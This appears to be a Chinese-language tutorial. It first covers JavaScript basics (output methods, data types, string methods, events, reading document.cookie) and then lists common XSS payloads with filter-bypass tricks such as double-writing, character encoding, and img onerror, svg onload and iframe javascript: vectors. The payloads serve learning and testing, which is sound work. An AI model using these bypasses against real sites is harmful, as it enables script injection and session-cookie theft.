一、JS
JavaScript是一种轻量级的编程语言,用于定义HTML的行为。它与Java没有关系。JS脚本必须位于<script>与</script>标签之间。
常用输出方法:
window.alert():弹出警告框
document.write():将内容写到HTML文档中
innerHTML:写入到HTML元素
console.log():打印到浏览器的控制台
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<script type="text/javascript">
document.write("写入数据");
window.alert('弹出数据');
</script>
</body>
</html>
注释:
单行注释:以//开头
多行注释:以/*开始,以*/结尾
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<script type="text/javascript">
// 单行注释
/*
多行注释
*/
</script>
</body>
</html>
数据类型:
基本数据类型:字符串(String),数字(Number),布尔(Boolean),空(Null),未定义(Undefined)
引用数据类型:对象(Object),数组(Array),函数(Function)
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<script type="text/javascript">
function demo() {
document.write("demo");
}
demo();
</script>
</body>
</html>
字符串方法:
方法 |
描述 |
charAt() |
返回指定索引位置的字符 |
concat() |
连接两个或多个字符串并返回 |
indexOf() |
返回字符串中指定字符第一次出现的位置 |
lastIndexOf() |
返回字符串中指定字符最后一次出现的位置 |
match() |
正则表达式匹配的字符串 |
replace() |
替换与正则表达式匹配的字符串 |
split() |
字符串分割为字符串数组 |
substring() |
提取字符串中两个指定索引之间的字符 |
toLocaleLowerCase() |
把字符串转换成小写 |
toLocaleUpperCase() |
把字符串转换成大写 |
toString() |
返回字符串对象值 |
trim() |
移除字符串首尾空白 |
valueOf() |
返回某个字符串对象的原始值 |
HTML事件:
事件 |
描述 |
onchange |
HTML元素改变 |
onclick |
点击HTML元素 |
onmouseover |
移动鼠标到HTML元素上 |
onmouseout |
移开鼠标到HTML元素外 |
onkeydown |
按下键盘按键 |
onload |
浏览器完成页面的加载 |
Cookie:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<script type="text/javascript">
console.log(document.cookie);
</script>
</body>
</html>
二、XSS常用payload
普通
<script>alert('XSS')</script>
<script>document.cookie</script>
双写绕过
例如,php中使用str_replace函数替换<script>
<scr<script>ipt>alert('XSS')</scr<script>ipt>
编码绕过
例如,php中使用mysqli_real_escape_string函数转义特殊字符
"><script>alert(String.fromCharCode(88,83,83))</script>
html标签绕过正则
例如,php中使用preg_filter函数进行正则匹配删除script
<img src=x onerror=alert('XSS');>
<img src=x:alert(alt) onerror=eval(src) alt=xss>
"><svg/onload=alert(/XSS/)
<div onpointerover="alert(45)">MOVE HERE</div>
<IFRAME SRC=javascript:alert(‘XSS’)></IFRAME>
<A HREF=http://127.0.0.1/phpinfo.php>link</A>